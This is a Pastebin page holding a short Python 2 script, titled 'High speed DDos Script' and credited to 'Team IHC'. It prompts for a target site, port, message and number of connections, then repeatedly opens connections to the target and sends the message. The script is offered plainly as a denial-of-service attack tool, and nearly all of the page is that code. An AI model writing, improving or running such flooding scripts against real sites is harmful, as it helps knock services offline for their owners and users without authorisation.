Advertisement
Cyb3r_h4ck3r

High speed DDos Script

Jan 31st, 2015
2,514
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.51 KB | None | 0 0
  1.  #Team IHC #Ddos #Script
  2.  
  3. import time
  4. import socket
  5. import os
  6. import sys
  7. import string
  8.  
  9. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  10.  
  11. def restart_program():
  12.     python = sys.executable
  13.     os.execl(python, python, * sys.argv)
  14. curdir = os.getcwd()
  15.  
  16. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  17.  
  18. print ("DDoS mode loaded")
  19. print ("python script made by Team IHC")
  20. host=raw_input( "Site you want to DDoS:" )
  21. port=input( "Port you want to attack:" )
  22. message=raw_input( "Input the message you want to send:" )
  23. conn=input( "How many connections you want to make:" )
  24. ip = socket.gethostbyname( host )
  25. print ("[" + ip + "]")
  26. print ( "[Ip is locked]" )
  27. print ( "[Attacking " + host + "]" )
  28. print ("+----------------------------+")
  29. def dos():
  30.     #pid = os.fork()
  31.     ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  32.     try:
  33.         ddos.connect((host, 80))
  34.         ddos.send( message )
  35.         ddos.sendto( message, (ip, port) )
  36.         ddos.send( message );
  37.     except socket.error, msg:
  38.         print("|[Connection Failed]         |")
  39.     print ( "|[DDoS Attack Engaged]       |")
  40.     ddos.close()
  41. for i in range(1, conn):
  42.     dos()
  43. print ("+----------------------------+")
  44. print("The connections you requested had finished")
  45. if __name__ == "__main__":
  46.     answer = raw_input("Do you want to ddos more?")
  47.     if answer.strip() in "y Y yes Yes YES".split():
  48.         restart_program()
  49.     else:
  50.         os.system(curdir+"Deqmain.py")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement